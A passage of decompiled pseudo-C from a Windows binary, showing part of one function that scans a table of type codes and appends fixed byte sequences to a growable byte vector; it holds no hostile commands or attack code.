  unsigned int v53; // edi@122
  unsigned int v54; // eax@124
  int v55; // edx@132
  int v56; // edx@134
  unsigned int v57; // edi@134
  unsigned int v58; // eax@136
  int v59; // eax@144
  _BYTE *v60; // ebx@146
  int v61; // edx@147
  int v62; // edx@149
  unsigned int v63; // edi@149
  unsigned int v64; // eax@151
  int v65; // edx@159
  int v66; // edx@161
  unsigned int v67; // edi@161
  unsigned int v68; // eax@163
  int v69; // eax@171
  _BYTE *v70; // ebx@173
  int v71; // edx@174
  int v72; // edx@176
  unsigned int v73; // edi@176
  unsigned int v74; // eax@178
  int v75; // edx@186
  int v76; // edx@188
  unsigned int v77; // edi@188
  unsigned int v78; // eax@190
  unsigned int v79; // edi@199
  int v80; // ebx@200
  _BYTE *v81; // ebx@207
  int v82; // edx@208
  int v83; // edx@210
  unsigned int v84; // edi@210
  unsigned int v85; // eax@212
  int v86; // edx@220
  int v87; // edx@222
  unsigned int v88; // edi@222
  unsigned int v89; // eax@224
  int v90; // eax@232
  _BYTE *v91; // ebx@234
  int v92; // edx@235
  int v93; // edx@237
  unsigned int v94; // edi@237
  unsigned int v95; // eax@239
  int v96; // edx@247
  int v97; // edx@249
  unsigned int v98; // edi@249
  unsigned int v99; // eax@251
  int v100; // eax@259
  _BYTE *v101; // ebx@261
  int v102; // edx@262
  int v103; // edx@264
  unsigned int v104; // edi@264
  unsigned int v105; // eax@266
  int v106; // edx@274
  int v107; // edx@276
  unsigned int v108; // edi@276
  unsigned int v109; // eax@278
  int v110; // eax@286
  char v111; // bl@286
  _BYTE *v112; // ebx@288
  int v113; // edx@289
  int v114; // edx@291
  unsigned int v115; // edi@291
  unsigned int v116; // eax@293
  int v117; // edx@301
  int v118; // edx@303
  unsigned int v119; // edi@303
  unsigned int v120; // eax@305
  int v121; // eax@313
  _BYTE *v122; // ebx@315
  int v123; // edx@316
  int v124; // edx@318
  unsigned int v125; // edi@318
  unsigned int v126; // eax@320
  int v127; // edx@328
  int v128; // edx@330
  unsigned int v129; // edi@330
  unsigned int v130; // eax@332
  int v131; // eax@340
  _BYTE *v132; // ebx@342
  int v133; // edx@343
  int v134; // edx@345
  unsigned int v135; // edi@345
  unsigned int v136; // eax@347
  int v137; // edx@355
  int v138; // edx@357
  unsigned int v139; // edi@357
  unsigned int v140; // eax@359
  int v141; // eax@367
  _BYTE *v142; // ebx@369
  int v143; // edx@370
  int v144; // edx@372
  unsigned int v145; // edi@372
  unsigned int v146; // eax@374
  int v147; // edx@382
  int v148; // edx@384
  unsigned int v149; // edi@384
  unsigned int v150; // eax@386
  int v151; // eax@394
  _BYTE *v152; // ebx@396
  int v153; // edx@397
  int v154; // edx@399
  unsigned int v155; // edi@399
  unsigned int v156; // eax@401
  int v157; // edx@409
  int v158; // edx@411
  unsigned int v159; // edi@411
  unsigned int v160; // eax@413
  unsigned int v161; // edi@422
  int v162; // ebx@423
  _BYTE *v163; // ebx@430
  int v164; // edx@431
  int v165; // edx@433
  unsigned int v166; // edi@433
  unsigned int v167; // eax@435
  int v168; // edx@443
  int v169; // edx@445
  unsigned int v170; // edi@445
  unsigned int v171; // eax@447
  int v172; // eax@455
  _BYTE *v173; // ebx@457
  int v174; // edx@458
  int v175; // edx@460
  unsigned int v176; // edi@460
  unsigned int v177; // eax@462
  int v178; // edx@470
  int v179; // edx@472
  unsigned int v180; // edi@472
  unsigned int v181; // eax@474
  int v182; // eax@482
  _BYTE *v183; // ebx@484
  int v184; // edx@485
  int v185; // edx@487
  unsigned int v186; // edi@487
  unsigned int v187; // eax@489
  int v188; // edx@497
  int v189; // edx@499
  unsigned int v190; // edi@499
  unsigned int v191; // eax@501
  int v192; // eax@509
  char v193; // bl@509
  _BYTE *v194; // ebx@511
  int v195; // edx@512
  int v196; // edx@514
  unsigned int v197; // edi@514
  unsigned int v198; // eax@516
  int v199; // edx@524
  int v200; // edx@526
  unsigned int v201; // edi@526
  unsigned int v202; // eax@528
  int v203; // eax@536
  _BYTE *v204; // edi@538
  int v205; // edx@539
  int v206; // edx@541
  unsigned int v207; // esi@541
  unsigned int v208; // eax@543
  int v209; // edx@551
  int v210; // edx@553
  unsigned int v211; // esi@553
  unsigned int v212; // eax@555
  unsigned int v213; // eax@564
  int v214; // edx@565
  int v215; // ecx@565
  unsigned int v216; // eax@570
  int v217; // edx@571
  int v218; // ecx@571
  unsigned int v219; // eax@576
  int v220; // edx@577
  int v221; // ecx@577
  unsigned int v222; // eax@582
  int v223; // edx@583
  int v224; // ecx@583
  unsigned int v225; // eax@588
  int v226; // edx@589
  int v227; // ecx@589
  char v228; // bl@594
  __int16 v230; // bx@587
  __int16 v231; // bx@593
  unsigned int v232; // [sp+14h] [bp-28h]@1
  int v233; // [sp+18h] [bp-24h]@1
  int v234; // [sp+1Ch] [bp-20h]@1
  signed int v235; // [sp+38h] [bp-4h]@1
  int v236; // [sp+24h] [bp-18h]@3
  _BYTE v237[5]; // [sp+2Bh] [bp-11h]@9

  v4 = a1;
  v3 = 0;
  v1 = 0;
  v5 = 0;
  v2 = 0;
  v232 = 0;
  v233 = 0;
  v234 = 0;
  v235 = 0;
  if ( (*(_DWORD *)(a1 + 472) - *(_DWORD *)(a1 + 468)) >> 2 )
  {
    v6 = *(_DWORD *)(a1 + 468);
    while ( *(_WORD *)v6 != 1 )
    {
      v236 = v6 + 4;
      ++v2;
      if ( v2 >= (*(_DWORD *)(a1 + 472) - *(_DWORD *)(a1 + 468)) >> 2 )
      {
        v4 = a1;
        goto LABEL_199;
      }
      v6 = v236;
    }
    v236 = *(_WORD *)(*(_DWORD *)(a1 + 468) + 4 * v2 + 2);
    sub_405D20((int)&v232, 1u);
    v7 = v233;
    if ( v233 )
    {
      *(_BYTE *)v233 = 0;
      v7 = v233;
    }
    v8 = v7 + 1;
    v3 = v232;
    v233 = v8;
    v237[0] = 1;
    if ( (unsigned int)v237 >= v8 || v232 > (unsigned int)v237 )
    {
      v5 = v234;
      if ( v8 == v234 )
      {
        v14 = v8 - v232;
        if ( v8 - v232 > 0xFFFFFFFE )
          v8 = std___Xlength_error("vector<T> too long");
        v15 = v14 + 1;
        v16 = v5 - v3;
        if ( v15 > v5 - v3 )
        {
          if ( -1 - (v16 >> 1) >= v16 )
            v17 = (v16 >> 1) + v16;
          else
            v17 = 0;
          if ( v17 < v15 )
            v17 = v15;
          sub_405D20((int)&v232, v17);
          v5 = v234;
          v8 = v233;
          v3 = v232;
        }
      }
      if ( v8 )
      {
        *(_BYTE *)v8 = 1;
        goto LABEL_35;
      }
    }
    else
    {
      v5 = v234;
      v9 = &v237[-v232];
      if ( v8 == v234 )
      {
        v10 = v8 - v232;
        if ( v8 - v232 > 0xFFFFFFFE )
          v8 = std___Xlength_error("vector<T> too long");
        v11 = v10 + 1;
        v12 = v5 - v3;
        if ( v11 > v5 - v3 )
        {
          if ( -1 - (v12 >> 1) >= v12 )
            v13 = (v12 >> 1) + v12;
          else
            v13 = 0;
          if ( v13 < v11 )
            v13 = v11;
          sub_405D20((int)&v232, v13);
          v5 = v234;
          v8 = v233;
          v3 = v232;
        }
      }
      if ( v8 )
      {
        *(_BYTE *)v8 = v9[v3];
LABEL_35:
        v5 = v234;
        v3 = v232;
        v8 = v233;
        goto LABEL_36;
      }
    }
LABEL_36:
    v18 = v8 + 1;
    v233 = v18;
    v237[0] = 0;
    if ( (unsigned int)v237 >= v18 || v3 > (unsigned int)v237 )
    {
      if ( v18 == v5 )
      {
        v24 = v18 - v3;
        if ( v18 - v3 > 0xFFFFFFFE )
          v18 = std___Xlength_error("vector<T> too long");
        v25 = v24 + 1;
        v26 = v5 - v3;
        if ( v25 > v5 - v3 )
        {
          if ( -1 - (v26 >> 1) >= v26 )
            v27 = (v26 >> 1) + v26;
          else
            v27 = 0;
          if ( v27 < v25 )
            v27 = v25;
          sub_405D20((int)&v232, v27);
          v5 = v234;
          v18 = v233;
          v3 = v232;
        }
      }
      if ( v18 )
      {
        *(_BYTE *)v18 = 0;
        goto LABEL_62;
      }
    }
    else
    {
      v19 = &v237[-v3];
      if ( v18 == v5 )
      {
        v20 = v18 - v3;
        if ( v18 - v3 > 0xFFFFFFFE )
          v18 = std___Xlength_error("vector<T> too long");
        v21 = v20 + 1;
        v22 = v5 - v3;
        if ( v21 > v5 - v3 )
        {
          if ( -1 - (v22 >> 1) >= v22 )
            v23 = (v22 >> 1) + v22;
          else
            v23 = 0;
          if ( v23 < v21 )
            v23 = v21;
          sub_405D20((int)&v232, v23);
          v5 = v234;
          v18 = v233;
          v3 = v232;
        }
      }
      if ( v18 )
      {
        *(_BYTE *)v18 = v19[v3];
LABEL_62:
        v5 = v234;
        v3 = v232;
        v18 = v233;
        goto LABEL_63;
      }
    }
LABEL_63:
    v29 = v236;
    v28 = v18 + 1;
    v233 = v28;
    v237[0] = v236;
    if ( (unsigned int)v237 >= v28 || v3 > (unsigned int)v237 )
    {
      if ( v28 == v5 )
      {
        v35 = v28 - v3;
        if ( v28 - v3 > 0xFFFFFFFE )
          v28 = std___Xlength_error("vector<T> too long");
        v36 = v35 + 1;
        v37 = v5 - v3;
        if ( v36 > v5 - v3 )
        {
          if ( -1 - (v37 >> 1) >= v37 )
            v38 = (v37 >> 1) + v37;
          else
            v38 = 0;
          if ( v38 < v36 )
            v38 = v36;
          sub_405D20((int)&v232, v38);
          v5 = v234;
          v28 = v233;
          v3 = v232;
        }
      }
      if ( v28 )
      {
        *(_BYTE *)v28 = v29;
        goto LABEL_89;
      }
    }
    else
    {
      v30 = &v237[-v3];
      if ( v28 == v5 )
      {
        v31 = v28 - v3;
        if ( v28 - v3 > 0xFFFFFFFE )
          v28 = std___Xlength_error("vector<T> too long");
        v32 = v31 + 1;
        v33 = v5 - v3;
        if ( v32 > v5 - v3 )
        {
          if ( -1 - (v33 >> 1) >= v33 )
            v34 = (v33 >> 1) + v33;
          else
            v34 = 0;
          if ( v34 < v32 )
            v34 = v32;
          sub_405D20((int)&v232, v34);
          v5 = v234;
          v28 = v233;
          v3 = v232;
        }
      }
      if ( v28 )
      {
        *(_BYTE *)v28 = v30[v3];
LABEL_89:
        v5 = v234;
        v3 = v232;
        v28 = v233;
        goto LABEL_90;
      }
    }
LABEL_90:
    v39 = v28 + 1;
    v233 = v39;
    v237[0] = 1;
    if ( (unsigned int)v237 >= v39 || v3 > (unsigned int)v237 )
    {
      if ( v39 == v5 )
      {
        v45 = v39 - v3;
        if ( v39 - v3 > 0xFFFFFFFE )
          v39 = std___Xlength_error("vector<T> too long");
        v46 = v45 + 1;
        v47 = v5 - v3;
        if ( v46 > v5 - v3 )
        {
          if ( -1 - (v47 >> 1) >= v47 )
            v48 = (v47 >> 1) + v47;
          else
            v48 = 0;
          if ( v48 < v46 )
            v48 = v46;
          sub_405D20((int)&v232, v48);
          v5 = v234;
          v39 = v233;
          v3 = v232;
        }
      }
      if ( v39 )
      {
        *(_BYTE *)v39 = 1;
        goto LABEL_116;
      }
    }
    else
    {
      v40 = &v237[-v3];
      if ( v39 == v5 )
      {
        v41 = v39 - v3;
        if ( v39 - v3 > 0xFFFFFFFE )
          v39 = std___Xlength_error("vector<T> too long");
        v42 = v41 + 1;
        v43 = v5 - v3;
        if ( v42 > v5 - v3 )
        {
          if ( -1 - (v43 >> 1) >= v43 )
            v44 = (v43 >> 1) + v43;
          else
            v44 = 0;
          if ( v44 < v42 )
            v44 = v42;
          sub_405D20((int)&v232, v44);
          v5 = v234;
          v39 = v233;
          v3 = v232;
        }
      }
      if ( v39 )
      {
        *(_BYTE *)v39 = v40[v3];
LABEL_116:
        v5 = v234;
        v3 = v232;
        v39 = v233;
        goto LABEL_117;
      }
    }
LABEL_117:
    v49 = v39 + 1;
    v233 = v49;
    v237[0] = 16;
    if ( (unsigned int)v237 >= v49 || v3 > (unsigned int)v237 )
    {
      if ( v49 == v5 )
      {
        v55 = v49 - v3;
        if ( v49 - v3 > 0xFFFFFFFE )
          v49 = std___Xlength_error("vector<T> too long");
        v56 = v55 + 1;
        v57 = v5 - v3;
        if ( v56 > v5 - v3 )
        {
          if ( -1 - (v57 >> 1) >= v57 )
            v58 = (v57 >> 1) + v57;
          else
            v58 = 0;
          if ( v58 < v56 )
            v58 = v56;
          sub_405D20((int)&v232, v58);
          v5 = v234;
          v49 = v233;
          v3 = v232;
        }
      }
      if ( v49 )
      {
        *(_BYTE *)v49 = 16;
        goto LABEL_143;
      }
    }
    else
    {
      v50 = &v237[-v3];
      if ( v49 == v5 )
      {
        v51 = v49 - v3;
        if ( v49 - v3 > 0xFFFFFFFE )
          v49 = std___Xlength_error("vector<T> too long");
        v52 = v51 + 1;
        v53 = v5 - v3;
        if ( v52 > v5 - v3 )
        {
          if ( -1 - (v53 >> 1) >= v53 )
            v54 = (v53 >> 1) + v53;
          else
            v54 = 0;
          if ( v54 < v52 )
            v54 = v52;
          sub_405D20((int)&v232, v54);
          v5 = v234;
          v49 = v233;
          v3 = v232;
        }
      }
      if ( v49 )
      {
        *(_BYTE *)v49 = v50[v3];
LABEL_143:
        v5 = v234;
        v3 = v232;
        v49 = v233;
        goto LABEL_144;
      }
    }
LABEL_144:
    v59 = v49 + 1;
    v233 = v59;
    v237[0] = 8;
    if ( (unsigned int)v237 >= v59 || v3 > (unsigned int)v237 )
    {
      if ( v59 == v5 )
      {
        v65 = v59 - v3;
        if ( v59 - v3 > 0xFFFFFFFE )
          v59 = std___Xlength_error("vector<T> too long");
        v66 = v65 + 1;
        v67 = v5 - v3;
        if ( v66 > v5 - v3 )
        {
          if ( -1 - (v67 >> 1) >= v67 )
            v68 = (v67 >> 1) + v67;
          else
            v68 = 0;
          if ( v68 < v66 )
            v68 = v66;
          sub_405D20((int)&v232, v68);
          v5 = v234;
          v59 = v233;
          v3 = v232;
        }
      }
      if ( v59 )
      {
        *(_BYTE *)v59 = 8;
        goto LABEL_170;
      }
    }
    else
    {
      v60 = &v237[-v3];
      if ( v59 == v5 )
      {
        v61 = v59 - v3;
        if ( v59 - v3 > 0xFFFFFFFE )
          v59 = std___Xlength_error("vector<T> too long");
        v62 = v61 + 1;
        v63 = v5 - v3;
        if ( v62 > v5 - v3 )
        {
          if ( -1 - (v63 >> 1) >= v63 )
            v64 = (v63 >> 1) + v63;
          else
            v64 = 0;
          if ( v64 < v62 )
            v64 = v62;
          sub_405D20((int)&v232, v64);
          v5 = v234;
          v59 = v233;
          v3 = v232;
        }
      }
      if ( v59 )
      {
        *(_BYTE *)v59 = v60[v3];
LABEL_170:
        v5 = v234;
        v3 = v232;
        v59 = v233;
        goto LABEL_171;
      }
    }
LABEL_171:
    v69 = v59 + 1;
    v233 = v69;
    v237[0] = -28;
    if ( (unsigned int)v237 >= v69 || v3 > (unsigned int)v237 )
    {
      if ( v69 == v5 )
      {
        v75 = v69 - v3;
        if ( v69 - v3 > 0xFFFFFFFE )
          v69 = std___Xlength_error("vector<T> too long");
        v76 = v75 + 1;
        v77 = v5 - v3;
        if ( v76 > v5 - v3 )
        {
          if ( -1 - (v77 >> 1) >= v77 )
            v78 = (v77 >> 1) + v77;
          else
            v78 = 0;
          if ( v78 < v76 )
            v78 = v76;
          sub_405D20((int)&v232, v78);
          v5 = v234;
          v69 = v233;
          v3 = v232;
        }
      }
      if ( !v69 )
        goto LABEL_198;
      *(_BYTE *)v69 = -28;
    }
    else
    {
      v70 = &v237[-v3];
      if ( v69 == v5 )
      {
        v71 = v69 - v3;
        if ( v69 - v3 > 0xFFFFFFFE )
          v69 = std___Xlength_error("vector<T> too long");
        v72 = v71 + 1;
        v73 = v5 - v3;
        if ( v72 > v5 - v3 )
        {
          if ( -1 - (v73 >> 1) >= v73 )
            v74 = (v73 >> 1) + v73;
          else
            v74 = 0;
          if ( v74 < v72 )
            v74 = v72;
          sub_405D20((int)&v232, v74);
          v5 = v234;
          v69 = v233;
          v3 = v232;
        }
      }
      if ( !v69 )
        goto LABEL_198;
      *(_BYTE *)v69 = v70[v3];
    }
    v5 = v234;
    v3 = v232;
    v69 = v233;
LABEL_198:
    v4 = a1;
    v1 = v69 + 1;
    v233 = v1;
  }
LABEL_199:
  v79 = 0;
  if ( !((*(_DWORD *)(v4 + 472) - *(_DWORD *)(v4 + 468)) >> 2) )
    goto LABEL_422;
  v80 = *(_DWORD *)(v4 + 468);
  while ( *(_WORD *)v80 != 19 )
  {
    v236 = v80 + 4;
    ++v79;
    if ( v79 >= (*(_DWORD *)(a1 + 472) - *(_DWORD *)(a1 + 468)) >> 2 )
    {
      v4 = a1;
      goto LABEL_422;
    }
    v80 = v236;
  }
  v236 = *(_WORD *)(*(_DWORD *)(a1 + 468) + 4 * v79 + 2);
  v237[0] = 0;
  if ( (unsigned int)v237 >= v1 || v3 > (unsigned int)v237 )
  {
    if ( v1 == v5 )
    {
      v86 = v1 - v3;
      if ( v1 - v3 > 0xFFFFFFFE )
        v1 = std___Xlength_error("vector<T> too long");
      v87 = v86 + 1;
      v88 = v5 - v3;
      if ( v87 > v5 - v3 )
      {
        if ( -1 - (v88 >> 1) >= v88 )
          v89 = (v88 >> 1) + v88;
        else
          v89 = 0;
        if ( v89 < v87 )
          v89 = v87;
        sub_405D20((int)&v232, v89);
        v5 = v234;
        v1 = v233;
        v3 = v232;
      }
    }
    if ( v1 )
    {
      *(_BYTE *)v1 = 0;
      goto LABEL_231;
    }
  }
  else
  {
    v81 = &v237[-v3];
    if ( v1 == v5 )
    {
      v82 = v1 - v3;
      if ( v1 - v3 > 0xFFFFFFFE )
        v1 = std___Xlength_error("vector<T> too long");
      v83 = v82 + 1;
      v84 = v5 - v3;
      if ( v83 > v5 - v3 )
      {
        if ( -1 - (v84 >> 1) >= v84 )
          v85 = (v84 >> 1) + v84;
        else
          v85 = 0;
        if ( v85 < v83 )
          v85 = v83;
        sub_405D20((int)&v232, v85);
        v5 = v234;
        v1 = v233;
        v3 = v232;
      }
    }
    if ( v1 )
    {
      *(_BYTE *)v1 = v81[v3];
LABEL_231:
      v5 = v234;
      v3 = v232;
      v1 = v233;
      goto LABEL_232;
    }
  }
LABEL_232:
  v90 = v1 + 1;
  v233 = v90;
  v237[0] = 19;
  if ( (unsigned int)v237 >= v90 || v3 > (unsigned int)v237 )
  {
    if ( v90 == v5 )
    {
      v96 = v90 - v3;
      if ( v90 - v3 > 0xFFFFFFFE )
        v90 = std___Xlength_error("vector<T> too long");
      v97 = v96 + 1;
      v98 = v5 - v3;
      if ( v97 > v5 - v3 )
      {
        if ( -1 - (v98 >> 1) >= v98 )
          v99 = (v98 >> 1) + v98;
        else
          v99 = 0;
        if ( v99 < v97 )
          v99 = v97;
        sub_405D20((int)&v232, v99);
        v5 = v234;
        v90 = v233;
        v3 = v232;
      }
    }
    if ( v90 )
    {
      *(_BYTE *)v90 = 19;
      goto LABEL_258;
    }
  }
  else
  {
    v91 = &v237[-v3];
    if ( v90 == v5 )
    {
      v92 = v90 - v3;
      if ( v90 - v3 > 0xFFFFFFFE )
        v90 = std___Xlength_error("vector<T> too long");
      v93 = v92 + 1;
      v94 = v5 - v3;
      if ( v93 > v5 - v3 )
      {
        if ( -1 - (v94 >> 1) >= v94 )
          v95 = (v94 >> 1) + v94;
        else
          v95 = 0;
        if ( v95 < v93 )
          v95 = v93;
        sub_405D20((int)&v232, v95);
        v5 = v234;
        v90 = v233;
        v3 = v232;
      }
    }
    if ( v90 )
    {
      *(_BYTE *)v90 = v91[v3];
LABEL_258:
      v5 = v234;
      v3 = v232;
      v90 = v233;
      goto LABEL_259;
    }
  }
LABEL_259:
  v100 = v90 + 1;
  v233 = v100;
  v237[0] = 0;
  if ( (unsigned int)v237 >= v100 || v3 > (unsigned int)v237 )
  {
    if ( v100 == v5 )
    {
      v106 = v100 - v3;
      if ( v100 - v3 > 0xFFFFFFFE )
        v100 = std___Xlength_error("vector<T> too long");
      v107 = v106 + 1;
      v108 = v5 - v3;
      if ( v107 > v5 - v3 )
      {
        if ( -1 - (v108 >> 1) >= v108 )
          v109 = (v108 >> 1) + v108;
        else
          v109 = 0;
        if ( v109 < v107 )
          v109 = v107;
        sub_405D20((int)&v232, v109);
        v5 = v234;
        v100 = v233;
        v3 = v232;
      }
    }
    if ( v100 )
    {
      *(_BYTE *)v100 = 0;
      goto LABEL_285;
    }
  }
  else
  {
    v101 = &v237[-v3];
    if ( v100 == v5 )
    {
      v102 = v100 - v3;
      if ( v100 - v3 > 0xFFFFFFFE )
        v100 = std___Xlength_error("vector<T> too long");
      v103 = v102 + 1;
      v104 = v5 - v3;
      if ( v103 > v5 - v3 )
      {
        if ( -1 - (v104 >> 1) >= v104 )
          v105 = (v104 >> 1) + v104;
        else
          v105 = 0;
        if ( v105 < v103 )
          v105 = v103;
        sub_405D20((int)&v232, v105);
        v5 = v234;
        v100 = v233;
        v3 = v232;
      }
    }
    if ( v100 )
    {
      *(_BYTE *)v100 = v101[v3];
LABEL_285:
      v5 = v234;
      v3 = v232;
      v100 = v233;
      goto LABEL_286;
    }
  }
LABEL_286:
  v111 = v236;
  v110 = v100 + 1;
  v233 = v110;
  v237[0] = v236;
  if ( (unsigned int)v237 >= v110 || v3 > (unsigned int)v237 )
  {
    if ( v110 == v5 )
    {
      v117 = v110 - v3;
      if ( v110 - v3 > 0xFFFFFFFE )
        v110 = std___Xlength_error("vector<T> too long");
      v118 = v117 + 1;
      v119 = v5 - v3;
      if ( v118 > v5 - v3 )
      {
        if ( -1 - (v119 >> 1) >= v119 )
          v120 = (v119 >> 1) + v119;
        else
          v120 = 0;
        if ( v120 < v118 )
          v120 = v118;
        sub_405D20((int)&v232, v120);
        v5 = v234;
        v110 = v233;
        v3 = v232;
      }
    }
    if ( v110 )
    {
      *(_BYTE *)v110 = v111;
      goto LABEL_312;
    }
  }
  else
  {
    v112 = &v237[-v3];
    if ( v110 == v5 )
    {
      v113 = v110 - v3;
      if ( v110 - v3 > 0xFFFFFFFE )
        v110 = std___Xlength_error("vector<T> too long");
      v114 = v113 + 1;
      v115 = v5 - v3;
      if ( v114 > v5 - v3 )
      {
        if ( -1 - (v115 >> 1) >= v115 )
          v116 = (v115 >> 1) + v115;
        else
          v116 = 0;
        if ( v116 < v114 )
          v116 = v114;
        sub_405D20((int)&v232, v116);
        v5 = v234;
        v110 = v233;
        v3 = v232;
      }
    }
    if ( v110 )
    {
      *(_BYTE *)v110 = v112[v3];
LABEL_312:
      v5 = v234;
      v3 = v232;
      v110 = v233;
      goto LABEL_313;
    }
  }
LABEL_313:
  v121 = v110 + 1;
  v233 = v121;
  v237[0] = 1;
  if ( (unsigned int)v237 >= v121 || v3 > (unsigned int)v237 )
  {
    if ( v121 == v5 )
    {
      v127 = v121 - v3;
      if ( v121 - v3 > 0xFFFFFFFE )
        v121 = std___Xlength_error("vector<T> too long");
      v128 = v127 + 1;
      v129 = v5 - v3;
      if ( v128 > v5 - v3 )
      {
        if ( -1 - (v129 >> 1) >= v129 )
          v130 = (v129 >> 1) + v129;
        else
          v130 = 0;
        if ( v130 < v128 )
          v130 = v128;
        sub_405D20((int)&v232, v130);
        v5 = v234;
        v121 = v233;
        v3 = v232;
      }
    }
    if ( v121 )
    {
      *(_BYTE *)v121 = 1;
      goto LABEL_339;
    }
  }
  else
  {
    v122 = &v237[-v3];
    if ( v121 == v5 )
    {
      v123 = v121 - v3;
      if ( v121 - v3 > 0xFFFFFFFE )
        v121 = std___Xlength_error("vector<T> too long");
      v124 = v123 + 1;
      v125 = v5 - v3;
      if ( v124 > v5 - v3 )
      {
        if ( -1 - (v125 >> 1) >= v125 )
          v126 = (v125 >> 1) + v125;
        else
          v126 = 0;
        if ( v126 < v124 )
          v126 = v124;
        sub_405D20((int)&v232, v126);
        v5 = v234;
        v121 = v233;
        v3 = v232;
      }
    }
    if ( v121 )
    {
      *(_BYTE *)v121 = v122[v3];
LABEL_339:
      v5 = v234;
      v3 = v232;
      v121 = v233;
      goto LABEL_340;
    }
  }
LABEL_340:
  v131 = v121 + 1;
  v233 = v131;
  v237[0] = 16;
  if ( (unsigned int)v237 >= v131 || v3 > (unsigned int)v237 )
  {
    if ( v131 == v5 )
    {
      v137 = v131 - v3;
      if ( v131 - v3 > 0xFFFFFFFE )
        v131 = std___Xlength_error("vector<T> too long");
      v138 = v137 + 1;
      v139 = v5 - v3;
      if ( v138 > v5 - v3 )
      {
        if ( -1 - (v139 >> 1) >= v139 )
          v140 = (v139 >> 1) + v139;
        else
          v140 = 0;
        if ( v140 < v138 )
          v140 = v138;
        sub_405D20((int)&v232, v140);
        v5 = v234;
        v131 = v233;
        v3 = v232;
      }
    }
    if ( v131 )
    {
      *(_BYTE *)v131 = 16;
      goto LABEL_366;
    }
  }
  else
  {
    v132 = &v237[-v3];
    if ( v131 == v5 )
    {
      v133 = v131 - v3;
      if ( v131 - v3 > 0xFFFFFFFE )
        v131 = std___Xlength_error("vector<T> too long");
      v134 = v133 + 1;
      v135 = v5 - v3;
      if ( v134 > v5 - v3 )
      {
        if ( -1 - (v135 >> 1) >= v135 )
          v136 = (v135 >> 1) + v135;
        else
          v136 = 0;
        if ( v136 < v134 )
          v136 = v134;
        sub_405D20((int)&v232, v136);
        v5 = v234;
        v131 = v233;
        v3 = v232;
      }
    }
    if ( v131 )
    {
      *(_BYTE *)v131 = v132[v3];
LABEL_366:
      v5 = v234;
      v3 = v232;
      v131 = v233;
      goto LABEL_367;
    }
  }
LABEL_367:
  v141 = v131 + 1;
  v233 = v141;
  v237[0] = 8;
  if ( (unsigned int)v237 >= v141 || v3 > (unsigned int)v237 )
  {
    if ( v141 == v5 )
    {
      v147 = v141 - v3;
      if ( v141 - v3 > 0xFFFFFFFE )
        v141 = std___Xlength_error("vector<T> too long");
      v148 = v147 + 1;
      v149 = v5 - v3;
      if ( v148 > v5 - v3 )
      {
        if ( -1 - (v149 >> 1) >= v149 )
          v150 = (v149 >> 1) + v149;
        else
          v150 = 0;
        if ( v150 < v148 )
          v150 = v148;
        sub_405D20((int)&v232, v150);
        v5 = v234;
        v141 = v233;
        v3 = v232;
      }
    }
    if ( v141 )
    {
      *(_BYTE *)v141 = 8;
      goto LABEL_393;
    }
  }
  else
  {
    v142 = &v237[-v3];
    if ( v141 == v5 )
    {
      v143 = v141 - v3;
      if ( v141 - v3 > 0xFFFFFFFE )
        v141 = std___Xlength_error("vector<T> too long");
      v144 = v143 + 1;
      v145 = v5 - v3;
      if ( v144 > v5 - v3 )
      {
        if ( -1 - (v145 >> 1) >= v145 )
          v146 = (v145 >> 1) + v145;
        else
          v146 = 0;
        if ( v146 < v144 )
          v146 = v144;
        sub_405D20((int)&v232, v146);
        v5 = v234;
        v141 = v233;
        v3 = v232;
      }
    }
    if ( v141 )
    {
      *(_BYTE *)v141 = v142[v3];
LABEL_393:
      v5 = v234;
      v3 = v232;
      v141 = v233;
      goto LABEL_394;
    }
  }
LABEL_394:
  v151 = v141 + 1;
  v233 = v151;
  v237[0] = -28;
  if ( (unsigned int)v237 >= v151 || v3 > (unsigned int)v237 )
  {
    if ( v151 == v5 )
    {
      v157 = v151 - v3;
      if ( v151 - v3 > 0xFFFFFFFE )
        v151 = loc_405D90(v3, v157);
      v158 = v157 + 1;
      v159 = v5 - v3;
      if ( v158 > v5 - v3 )
      {
        if ( -1 - (v159 >> 1) >= v159 )
          v160 = (v159 >> 1) + v159;
        else
          v160 = 0;
        if ( v160 < v158 )
          v160 = v158;
        sub_405D20((int)&v232, v160);
        v5 = v234;
        v151 = v233;
        v3 = v232;
      }
    }
    if ( !v151 )
      goto LABEL_421;
    *(_BYTE *)v151 = -28;
  }
  else
  {
    v152 = &v237[-v3];
    if ( v151 == v5 )
    {
      v153 = v151 - v3;
      if ( v151 - v3 > 0xFFFFFFFE )
        v151 = loc_405D90(v3, v153);
      v154 = v153 + 1;
      v155 = v5 - v3;
      if ( v154 > v5 - v3 )
      {
        if ( -1 - (v155 >> 1) >= v155 )
          v156 = (v155 >> 1) + v155;
        else
          v156 = 0;
        if ( v156 < v154 )
          v156 = v154;
        sub_405D20((int)&v232, v156);
        v5 = v234;
        v151 = v233;
        v3 = v232;
      }
    }
    if ( !v151 )
      goto LABEL_421;
    *(_BYTE *)v151 = v152[v3];
  }
  v5 = v234;
  v3 = v232;
  v151 = v233;
LABEL_421:
  v4 = a1;
  v1 = v151 + 1;
  v233 = v1;
LABEL_422:
  v161 = 0;
  if ( !((*(_DWORD *)(v4 + 472) - *(_DWORD *)(v4 + 468)) >> 2) )
    goto LABEL_564;
  v162 = *(_DWORD *)(v4 + 468);
  while ( *(_WORD *)v162 != 2 )
  {
    v236 = v162 + 4;
    ++v161;
    if ( v161 >= (*(_DWORD *)(a1 + 472) - *(_DWORD *)(a1 + 468)) >> 2 )
    {
      v4 = a1;
      goto LABEL_564;
    }
    v162 = v236;
  }
  v236 = *(_WORD *)(*(_DWORD *)(a1 + 468) + 4 * v161 + 2);
  v237[0] = 0;
  if ( (unsigned int)v237 >= v1 || v3 > (unsigned int)v237 )
  {
    if ( v1 == v5 )
    {
      v168 = v1 - v3;
      if ( v1 - v3 > 0xFFFFFFFE )
        v1 = loc_405D90(v3, v168);
      v169 = v168 + 1;
      v170 = v5 - v3;
      if ( v169 > v5 - v3 )
      {
        if ( -1 - (v170 >> 1) >= v170 )
          v171 = (v170 >> 1) + v170;
        else
          v171 = 0;
        if ( v171 < v169 )
          v171 = v169;
        sub_405D20((int)&v232, v171);
        v5 = v234;
        v1 = v233;
        v3 = v232;
      }
    }
    if ( v1 )
    {
      *(_BYTE *)v1 = 0;
      goto LABEL_454;
    }
  }
  else
  {
    v163 = &v237[-v3];
    if ( v1 == v5 )
    {
      v164 = v1 - v3;
      if ( v1 - v3 > 0xFFFFFFFE )
        v1 = loc_405D90(v3, v164);
      v165 = v164 + 1;
      v166 = v5 - v3;
      if ( v165 > v5 - v3 )
      {
